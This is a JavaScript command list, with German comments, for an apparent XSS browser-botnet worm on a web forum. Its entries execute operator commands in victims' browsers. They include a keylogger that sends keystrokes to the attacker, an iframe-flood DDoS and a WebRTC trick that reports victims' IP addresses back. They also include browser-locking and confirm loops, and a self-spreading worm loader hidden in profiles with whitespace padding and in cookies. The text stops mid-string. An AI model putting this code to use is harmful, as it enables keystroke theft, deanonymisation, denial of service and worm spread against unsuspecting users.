a.push( "!Report Bot", // Infos über den Bot und den Browser "a = function(b) {return b.toUTCString().match(/((?!00)\d\d:)?\d\d:\d\d(?=\s)/)[0];}; 'ID:' + W + ' Ref:' + M[0] + ',' + M[9] + ' Wait:' + M[2] + ' Timeout:' + a(new Date(M[3] * 1000)) + ' Runtime:' + a(new Date(new Date().getTime()-M[10])) + ' Count:' + J + ' ' + top.location.href + '%0aUserAgent:' + navigator.userAgent", "!Get Bot Time", // Lokale Zeit des Bots ausgeben "new Date().toString()", // new Date().toLocalString() "!Reload Bot", // Aktuelle Seite neuladen (Bot neu starten) "if(J > 1) { top.location.reload(); 'Reloaded' }", "!Remove Bot", // Selbst Zerstörung (Profil bleibt erhalten) "X([M[6],'profil=' + Y(X([M[6]]).match(/[<](textarea).*?>([^\0]*?)\s+(&(amp;)?lt;|<)script\s(id|title)=[^\0]+?<\/\1>/)[2])]); 'Removed'", "!Sleep Bot", // Bot deaktivieren "if(J > 1) { W = -1; 'Sleeping...' }", "Chat: Decrypt-Text", // Verschlüsselte Chat-Nachricht entschlüsseln (Nur beim Sender/Empfänger möglich) "top.CryptoJS.AES.decrypt('##var##'.replace(/^\w+\//,''),top.window.name.replace(/^key:[\w,]+,(?=\w+$)/,'')).toString(top.CryptoJS.enc.Utf8);", "Chat: Get Keys", // Secret, Public und Script-Keys anzeigen "a = top.F, b = top.window.name.replace(/^key:/,'').split(','); (a ? 'n=' + a[2] + '%0ag=' + a[1] + '%0ap=' + a[0] + '%0a' : '') + 'a=' + b[0] + '%0aA=' + b[1] + '%0aK=' + b[2] + '%0a'", "Debug-Infos", // Alle Bot-Variabeln zurückgeben "M.join('%0a') + '%0a***%0a' + O.join('%0a') + '%0a***%0a' + [J,S,W].join('%0a')", "DDoS-Attack,http://example.com", // Eine Webseite unter Dauerbeschuss setzen "a = ['##var##','DDoS-Attack','name','DoS','id','DoS','style','display:none'], b = top.document.createElement('iframe'); for(c=2;c '); 'Open Fire'", "DDoS-STOP", // Waffenruhe "if((a = top.document.getElementById('DoS'))) a.parentNode.removeChild(a); 'Peace'", "Fenster-Titel,Hello World!", // Fenster-Titel ändern "top.document.getElementsByClassName('title')[0].innerHTML = '##var##'", "Hacked-Info,Y0u h4v3 b33n H4ck3d!", // Nachricht an den User schicken "while(confirm('##var##')); 'Confirm'", "Home-Profil,/Profil", // Das Benutzer-Profil aufrufen "if(J > 1) top.location.href = M[5] + '##var##'", "Keylogger (Bugy)", // Alle Tasten loggen und alle 10 Sekunden zum Hacker schicken "var a,K = ''; top.document.onkeypress = function(e) { a = window.event ? event : e; K += String.fromCharCode(a.keyCode ? a.keyCode : a.charCode); }; window.setInterval(function() { if(K != '') X([M[7],'chat=call:0,' + Y(K)]); K = ''; },10000); 'Keys logging'", "Lock Browser,webmaster", // Browserfenster mit Kennwort sichern "a = top.document.createElement('div'); a.setAttribute('style','position:fixed; top:0; left:0; width:100%; height:100%; background-color:rgba(0,0,0,0.7);'); top.document.body.appendChild(a); b = 1; while(prompt('Enter Password!') != '##var##') b++; a.parentNode.removeChild(a); b + ' try(s)'", "Place Kitten,http://forum.mengelke.de/media/placekitten.php", // Alle Standart-Grafiken durch Katzenbilder ersetzen "for(d=0;dX '; top.document.body.appendChild(a); 'Poping up'", "Rick Rolling,640 480 http://forum.mengelke.de/media/rickrolling.html",// Musikvideo abspielen "a = top.document.createElement('div'); b = ['style','position:fixed; top:0; left:0; width:100%; height:100%; background-color:rgba(0,0,0,0.7);', 'ondblclick','this.parentNode.removeChild(this);','id','ricknroll']; for(c=0;c'; top.document.body.appendChild(a); 'Rick\'n\'Roll'", "Rick Killing", // Musikvideo entfernen "if((a = top.document.getElementById('ricknroll'))) { a.parentNode.removeChild(a); 'Rick killed' }", "WebRTC-IPs,2000", // Lokale/Externe IP-Adresse des Bots ausgeben "a = top.document.createElement('iframe'); a.setAttribute('id','iframe'); a.setAttribute('style','display:none'); a.setAttribute('sandbox','allow-same-origin'); top.document.body.appendChild(a); function Q(a) { if((a = /(\d{1,3}(\.\d{1,3}){3}|[a-f\d]{1,4}(:[a-f\d]{1,4}){7})/.exec(a)[1]) && c.indexOf(a) < 0) c += ',%20' + a; } try { b = !!window.webkitRTCPeerConnection, c = '', e = {iceServers: [{urls: 'stun:stun.services.mozilla.com'}]}; if(!(a = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection)) { d = iframe.contentWindow; a = d.RTCPeerConnection || d.mozRTCPeerConnection || d.webkitRTCPeerConnection; b = !!d.webkitRTCPeerConnection; } d = {optional: [{RtpDataChannels: true}]}; b = new a(e,d); b.onicecandidate = function(a) { if(a.candidate) Q(a.candidate.candidate); }; b.createDataChannel(''); b.createOffer(function(a) { b.setLocalDescription(a, function(){}, function(){}); }, function(){}); } catch(e){}; setTimeout(function() { try { a = b.localDescription.sdp.split('%0a'); a.forEach(function(b) { if(b.indexOf('a=candidate:') === 0) Q(b); }); } catch(e){}; if(c != '') { X([M[7],'chat=call:0,' + c.substr(4)]); (a = top.document.getElementById('iframe')).parentNode.removeChild(a); } },##var##);0", "Worm-Loader [Install]", // XSS-BotWurm außerhalbs des Profils laden "a = ''; for(b=0;b<80;b++) a += '%09'; if((b = X([M[6]]).match(/<(\w+)[^>]*?id=.tl[^>]*?>(.*?)(?:\s*<(\w+).*?<\/\3>)?\s*<\/\1>/))) { X([M[6],'tl=' + b[2] + unescape(a) + '

']); b[2]; }", "Worm-Loader [Remove]", // XSS-BotWurm Loader deinstallieren "if((b = X([M[6]]).match(/<(\w+)[^>]*?id=.tl[^>]*?>(.*?)(?:\s*<(\w+).*?<\/\3>)?\s*<\/\1>/))) { X([M[6],'tl=' + b[2]]); b[2]; }", "Worm-Loader [Cookie]", // XSS-BotWurm-Loader im Cookie verstecken "document.cookie='username=' + encodeURI(unescape('%22>